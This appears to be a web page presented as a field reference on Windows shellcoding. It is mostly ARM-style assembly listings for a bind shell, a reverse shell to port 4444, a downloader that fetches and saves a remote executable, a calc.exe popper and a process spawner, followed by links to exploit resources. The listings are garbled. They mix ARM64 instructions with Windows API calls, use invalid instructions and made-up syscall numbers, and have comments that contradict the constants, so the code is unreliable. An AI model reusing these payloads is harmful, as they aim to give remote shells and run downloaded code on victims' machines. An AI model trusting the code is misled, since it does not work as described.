Why this topic matters
Windows Shellcoding matters because it changes how an operator frames the problem, chooses validation steps and decides what evidence is strong enough to keep. In real work, weak handling of this topic leads to wasted time, noisy testing and softer findings.
This brief treats windows shellcoding as a reusable field reference. The focus is on attack surface, decision points, practical workflow and the public material that is worth keeping nearby when you need to execute, verify or explain the subject under pressure.
Core coverage
The points below capture the main workflows, concepts, tools and operator decisions associated with windows shellcoding.
- Arm makefile
- Arm hello world
- Arm bind shell shellcode
- Arm http downloader shellcode
- Arm reverse shell shellcode
- Arm SMB download shellcode
- Arm "pop calc.exe" shellcode
- Arm process-spawn shellcode
- X64 makefile
- X64 hello world shellcode
Commands and snippets
CC := arm-linux-gnueabihf-gcc
NASM := nasm
LD := arm-linux-gnueabihf-ld
ASM_FILE := shellcode.asm
OBJ_FILE := shellcode.o
BIN_FILE := shellcode.bin
.PHONY: all clean
all: $(BIN_FILE)
$(BIN_FILE): $(OBJ_FILE)
$(LD) -o $@ $<
$(OBJ_FILE): $(ASM_FILE)
$(NASM) -f win32 -o $@ $<
clean:
rm -f $(OBJ_FILE) $(BIN_FILE).section .text
.global _start
_start:
; Aufruf von MessageBoxA
mov x0, xzr ; Set X0 to 0 (NULL)
mov w1, 0x6f57206f ; "oW o"
mov w2, 0x6c6c6548 ; "leH"
mov w3, 0x646c726f ; "drlO"
mov x4, sp ; pointer to the message in X4
str w1, [x4], #4 ; push the value onto the stack (message)
str w2, [x4], #4
str w3, [x4], #4
mov x0, sp ; pointer to the message in X0
str x0, [x4], #8 ; Push-pointer to the message
mov x0, xzr ; Set X0 to 0 (NULL)
mov x1, x0 ; Set X1 to 0 (NULL)
mov x2, x0 ; Set X2 to 0 (NULL)
mov x3, x0 ; Set X3 to 0 (NULL)
mov w16, 0x7e82960d ; MessageBoxA Adresse
blr x16 ; MessageBoxA aufrufen
; Programm beenden
mov x0, xzr ; Set X0 to 0 (NULL)
mov x1, xzr ; Set X1 to 0 (NULL)
mov w16, 0x4c ; Set X16 to 0x4c (ExitProcess)
svc 0x00000000 ; Software-Interrupt.section .text
.global _start
_start:
; Socket-Erstellung
mov w0, wzr ; sockfd = 0
mov w1, 0x1 ; AF_INET
mov w2, 0x1 ; SOCK_STREAM
mov w3, 0x0 ; IPPROTO_TCP
mov w8, 0x61 ; WSASocketA
hlt 0x0 ; syscall
mov w9, w0 ; sockfd
; Binden des Sockets
mov w0, wzr ; sockfd = 0
mov w1, wzr ; sin_zero = 0
mov w2, 0x5c11 ; port
mov w3, 0x7f000001 ; IP-Adresse
mov x8, 0x63 ; bind
hlt 0x0 ; syscall
; Socket in den Listening-Modus versetzen
mov w0, wzr ; sockfd = 0
mov w1, w9 ; sockfd
mov w2, 0x1 ; backlog
mov x8, 0x6a ; listen
hlt 0x0 ; syscall
; Akzeptieren eingehender Verbindungen
mov w0, wzr ; sockfd = 0
mov w1, w9 ; sockfd
mov w2, wzr ; *addr = 0
mov w3, wzr ; *addrlen = 0
mov x8, 0x6c ; accept
hlt 0x0 ; syscall
mov w9, w0 ; newsockfd
; Duplizieren von file descriptoren
mov w0, wzr ; sockfd = 0
mov w1, 0xfffffff6 ; stdout
mov w2, 0xffffffff ; current process
mov x8, 0x5a ; duplicate handle
hlt 0x0 ; syscall
mov w0, wzr ; sockfd = 0
mov w1, 0xfffffff6 ; stderr
mov w2, 0xffffffff ; current process
mov x8, 0x5a ; duplicate handle
hlt 0x0 ; syscall
mov w0, wzr ; sockfd = 0
mov w1, 0xfffffff6 ; stdin
mov w2, 0xffffffff ; current process
mov x8, 0x5a ; duplicate handle
hlt 0x0 ; syscall
; redirect input and output to the sockets
mov w0, wzr ; sockfd = 0
mov w1, 0xfffffff6 ; stdout
mov w2, w9 ; newsockfd
mov x8, 0x5a ; duplicate handle
hlt 0x0 ; syscall
mov w0, wzr ; sockfd = 0
mov w1, 0xfffffff6 ; stderr
mov w2, w9 ; newsockfd
mov x8, 0x5a ; duplicate handle
hlt 0x0 ; syscall
mov w0, wzr ; sockfd = 0
mov w1, 0xfffffff6 ; stdin
mov w2, w9 ; newsockfd
mov x8, 0x5a ; duplicate handle
hlt 0x0 ; syscall
; Ausführung einer Shell
mov w0, wzr ; lpEnvironment = 0
mov w1, wzr ; lpCommandLine = 0
mov w2, wzr ; lpApplicationName = 0
mov x0, sp ; lpStartupInfo
mov w3, 0x10 ; dwProcessInformationSize
mov x8, 0x60 ; CreateProcessA
hlt 0x0 ; syscall
; Beenden des Shellcodes
mov w0, 0x1 ; ExitProcess
hlt 0x0 ; syscall.section .text
.global _start
_start:
b call_shellcode
shellcode:
; Laden von kernel32.dll Handle
mov w0, wzr
mov w1, wzr
mov w2, wzr
mov w3, wzr
mov w4, wzr
mov w5, wzr
mov w0, 0x60
ldr x1, [x5, x0, lsl 2]
ldr x1, [x1, 0xC]
ldr x1, [x1, 0x14]
ldr w2, [x1]
ldr w5, [x2, 0x10]
; Laden der Funktion URLDownloadToFileA
sub sp, sp, #32
mov w0, wzr
mov w1, 0x6C6C644F
mov w2, 0x646F632E
mov w3, 0x6E776F64
str w3, [sp, #16]
str w2, [sp, #12]
str w1, [sp, #8]
mov x0, x5
ldr x1, [x0]
ldr x1, [x1, 0x10]
blr x1
mov w2, w0
; URLDownloadToFileA(NULL, "http://www.example.com/file.exe", "C:\path\to\save\file.exe", 0, NULL)
mov w0, wzr
str w0, [sp, #28]
mov w1, 0x6578652E
mov w2, 0x6C61632F
mov w3, 0x746F702F
mov w4, 0x5C657661
str w4, [sp, #20]
mov w4, 0x6C65642F
str w4, [sp, #16]
mov w4, 0x5C657661
str w4, [sp, #12]
mov w4, 0x4641505C
str w4, [sp, #8]
mov w4, 0x6576616F
str w4, [sp, #4]
mov x0, x5
ldr x1, [x0]
ldr x1, [x1, 0x10]
blr x1
; Beenden des Shellcodes
mov w0, wzr
add w0, w0, #1
mov w8, 0x80
svc 0x0
call_shellcode:
bl shellcode.section .text
.global _start
_start:
; Socket-Erstellung
mov w0, wzr
mov w1, wzr
mov w2, wzr
mov w3, wzr
mov w0, 0x61 ; WSASocketA
mov w1, 0x1 ; AF_INET
mov w2, 0x1 ; SOCK_STREAM
mov w3, 0x0 ; IPPROTO_TCP
mov w8, 0x2e ; syscall
svc 0x0
; Verbindungsherstellung
mov w1, wzr
sub sp, sp, #8
str w1, [sp, #4] ; sin_zero
mov w2, 0x5c11 ; port (z.B. 4444)
mov w3, 0x0100007f ; IP-Adresse (z.B. 127.0.0.1)
mov w4, sp ; struct sockaddr *addr
mov w0, 0x62 ; connect
mov w1, w0 ; s
mov w2, sp ; sockaddr *name
mov w3, 0x10 ; namelen
mov w8, 0x2e ; syscall
svc 0x0
; Duplizieren von file descriptoren
mov w0, wzr
mov w1, wzr
mov w2, wzr
mov w0, 0x5a ; duplicate handle
mov w1, 0xfffffff6 ; stdout
mov w2, 0xffffffff ; current process
mov w8, 0x2e ; syscall
svc 0x0
mov w0, wzr
mov w1, wzr
mov w2, wzr
mov w0, 0x5a ; duplicate handle
mov w1, 0xfffffff6 ; stderr
mov w2, 0xffffffff ; current process
mov w8, 0x2e ; syscall
svc 0x0
mov w0, wzr
mov w1, wzr
mov w2, wzr
mov w0, 0x5a ; duplicate handle
mov w1, 0xfffffff6 ; stdin
mov w2, 0xffffffff ; current process
mov w8, 0x2e ; syscall
svc 0x0
; Ausführung einer Shell
mov w0, wzr
sub sp, sp, #24
str w0, [sp, #16] ; lpEnvironment
str w0, [sp, #12] ; lpCommandLine
str w0, [sp, #8] ; lpApplicationName
mov w1, sp ; lpStartupInfo
mov w2, 0x10 ; dwProcessInformationSize
mov w0, 0x60 ; CreateProcessA
mov w3, sp ; lpProcessInformation
mov w8, 0x2e ; syscall
svc 0x0
; Beenden des Shellcodes
mov w0, wzr
mov w0, 0x1 ; ExitProcess
mov w8, 0x2e ; syscall
svc 0x0.section .text
.global _start
_start:
b call_shellcode
shellcode:
; Laden von kernel32.dll Handle
mov x0, #0
mov x1, #0
mov x2, #0
mov x3, #0
mov x4, #0x60 ; offset used to access the PEB object
mov x5, #0x30 ; offset used to access the PEB LDR data
ldr x6, [x0, x4, lsl #2] ; FS:[0x60] -> pointer to the PEB object
ldr x6, [x6, x5] ; PEB+0x30 -> pointer to the PEB LDR data
ldr x6, [x6, #0xC] ; PEB-LDR-Daten+0xC -> InLoadOrderModuleList
ldr x6, [x6, #0x14] ; Erstes Modul im InLoadOrderModuleList
ldr x7, [x6] ; Modulgriff
ldr x6, [x7, #0x10] ; Modulgriff+0x10 -> Adresse der Kernel32.dll
; Laden der Funktion CopyFileA
mov x0, #0
ldr x1, =0x6C6C644F ; "lldO"
ldr x2, =0x646F632E ; "doc."
ldr x3, =0x6E776F64 ; "nwod"
add x4, sp, #0 ; pointer to the function label on the stack
stp x4, x4, [sp, #-16]! ; store the function label on the stack
stp x7, x7, [sp, #-16]! ; store the module handle on the stack
mov x4, x6 ; Modulgriff in x4 speichern
br x4 ; Funktion aufrufen
mov x7, x0 ; Ergebnis in x7 speichern
; CopyFileA("C:\path\to\source.exe", "C:\path\to\destination.exe", FALSE)
mov x0, #0
stp x1, x7, [sp, #-16]! ; store the file-path parameter on the stack
ldr x1, =0x5C706174 ; "C:\pat"
ldr x2, =0x746F5C65 ; "to\"
ldr x3, =0x65646F68 ; "hode"
ldr x4, =0x69732E65 ; "es.i"
ldr x5, =0x6E6F6974 ; "ton"
ldr x6, =0x6F647573 ; "sud"
ldr x7, =0x656E6F6E ; "non"
stp x1, x7, [sp, #-16]! ; store the file-path parameter on the stack
mov x1, sp ; pointer to the file path on the stack
stp x0, x0, [sp, #-16]! ; NULL for the target directory
mov x0, x6 ; store the pointer to the file path in x0
br x0 ; Funktion aufrufen
; Beenden des Shellcodes
mov x0, #0
mov x7, #1
svc 0x00000000
call_shellcode:
bl shellcode.section .text
.global _start
_start:
b call_shellcode
shellcode:
; Laden von kernel32.dll Handle
xor x0, x0
xor x1, x1
xor x2, x2
xor x3, x3
xor x4, x4
mov w0, 0x60
mov x19, xzr
ldr x19, [x19, x0, lsl #3]
ldr x19, [x19, x2, lsl #3]
ldr x19, [x19, #0xC]
ldr x19, [x19, #0x14]
ldr x20, [x19]
ldr x21, [x20, #0x10]
; Laden der Funktion GetProcAddress
mov w0, xzr
ldr w1, =0x45746547
ldr w2, =0x41636F72
ldr w3, =0x65726464
mov x0, x21
blr x0
mov x22, x0
; Aufruf von GetModuleHandleA("user32.dll")
xor x0, x0
mov w1, xzr
ldr w1, =0x64336C72
ldr w2, =0x642E3233
ldr w3, =0x6E695F72
ldr w4, =0x65706D6F
str x2, [sp, #-0x10]!
str x21, [sp, #-0x8]!
mov x0, x21
blr x0
; Aufruf von GetProcAddress(user32.dll, "MessageBoxA")
ldr w0, =0x41787374
ldr w1, =0x4165576F
ldr w2, =0x426F6F4D
str x2, [sp, #-0x8]!
mov x0, x22
blr x0
; Aufruf von MessageBoxA(NULL, "Hello from Shellcode!", "Message", 0)
mov w0, xzr
ldr w1, =0x65736F4D
ldr w2, =0x6568744F
ldr w3, =0x20465045
str x2, [sp, #-0x10]!
mov x0, x0
blr x0
; Aufruf von GetModuleHandleA("kernel32.dll")
xor x0, x0
mov w1, xzr
ldr w1, =0x64336C72
ldr w2, =0x642E3233
ldr w3, =0x6E695F6B
ldr w4, =0x65706D6F
str x2, [sp, #-0x10]!
str x21, [sp, #-0x8]!
mov x0, x21
blr x0
; Aufruf von GetProcAddress(kernel32.dll, "WinExec")
ldr w0, =0x456E6957
ldr w1, =0x63726574
str x2, [sp, #-0x8]!
mov x0, x22
blr x0
; Aufruf von WinExec("calc.exe", SW_SHOW)
mov w0, 0x00000005
ldr w1, =0x6578652E
ldr w2, =0x006C6163
str x2, [sp, #-0x10]!
mov x0, x0
blr x0
; Beenden des Shellcodes
mov w0, xzr
inc w0
svc 0x00000000
call_shellcode:
bl shellcode.section .text
.global _start
_start:
b call_shellcode
shellcode:
; Laden von kernel32.dll Handle
mov x0, #0
mov x1, #0
mov x2, #0
mov x3, #0
mov x4, #0x60 ; offset used to access the PEB object
mov x5, #0x30 ; offset used to access the PEB LDR data
ldr x6, [x0, x4, lsl #2] ; FS:[0x60] -> pointer to the PEB object
ldr x6, [x6, x5] ; PEB+0x30 -> pointer to the PEB LDR data
ldr x6, [x6, #0xC] ; PEB-LDR-Daten+0xC -> InLoadOrderModuleList
ldr x6, [x6, #0x14] ; Erstes Modul im InLoadOrderModuleList
ldr x7, [x6] ; Modulgriff
ldr x6, [x7, #0x10] ; Modulgriff+0x10 -> Adresse der Kernel32.dll
; Laden der Funktion CreateProcessA
mov x0, #0
ldr x1, =0x73736552 ; "Ress"
ldr x2, =0x726F6341 ; "Acor"
ldr x3, =0x64647265 ; "edrd"
add x4, sp, #0 ; pointer to the function label on the stack
push {x4} ; store the function label on the stack
push {x7} ; store the module handle on the stack
mov x4, x6 ; Modulgriff in x4 speichern
bx x4 ; Funktion aufrufen
mov x7, x0 ; Ergebnis in x7 speichern
; Vorbereiten der CREATE_PROCESS_DEBUG_FLAG-Option
mov x3, #0x01
; Erstellen der STARTUPINFO-Struktur
mov x0, #0
mov x1, x0 ; lpReserved
mov x2, x0 ; lpDesktop
mov x3, x0 ; lpTitle
mov x4, x0 ; dwX
mov x5, x0 ; dwY
mov x6, x0 ; dwXSize
mov x7, x0 ; dwYSize
mov x8, x0 ; dwXCountChars
mov x9, x0 ; dwYCountChars
mov x10, x0 ; dwFillAttribute
mov x11, x0 ; dwFlags
mov x12, x0 ; wShowWindow
mov x13, x0 ; cbReserved2
mov x14, x0 ; lpReserved2
mov x15, x0 ; hStdInput
mov x16, x0 ; hStdOutput
mov x17, x0 ; hStdError
mov x18, #0x30 ; cb
add x19, sp, #0x20 ; lpStartupInfo
; Erstellen der PROCESS_INFORMATION-Struktur
mov x0, #0
mov x1, x0 ; hThread
mov x2, x0 ; hProcess
add x3, sp, #0x38 ; lpProcessInformation
; Aufruf von CreateProcessA(NULL, "demo.exe", NULL, NULL, FALSE, CREATE_NEW_CONSOLE | CREATE_DEFAULT_ERROR_MODE | CREATE_BREAKAWAY_FROM_JOB, NULL, NULL, lpStartupInfo, lpProcessInformation)
mov x0, x3 ; bInheritHandles
mov x1, x0 ; lpThreadAttributes
mov x2, x0 ; lpProcessAttributes
mov x3, x0 ; lpEnvironment
mov x4, x0 ; lpCurrentDirectory
mov x5, x0 ; lpCommandLine
ldr x6, =0x6578652E ; lpApplicationName
mov x7, x0 ; dwCreationFlags
mov x8, x0 ; lpProcessInformation
ldr x9, [x19] ; lpStartupInfo
mov x10, x0 ; lpThreadAttributes
mov x11, x0 ; lpSecurityAttributes
mov x12, x0 ; dwStackSize
mov x13, x0 ; dwFlags
mov x14, x0 ; lpStartAddress
mov x15, x0 ; lpParameter
mov x16, x0 ; bInheritHandle
mov x17, x0 ; lpBaseAddress
mov x18, x0 ; lpModuleName
bx x7 ; Funktion aufrufen
; Beenden des Shellcodes
mov x0, #0
mov x8, #0x80
svc #0x80
call_shellcode:
bl shellcodeCurated public references
- pwntools Documentationdocs.pwntools.com/en/stable/
- gef-legacy.readthedocs.io · Latestgef-legacy.readthedocs.io/en/latest/
- pwndbgpwndbg.re/
- Shell-Stormshell-storm.org/
- Exploit Databaseexploit-db.com/
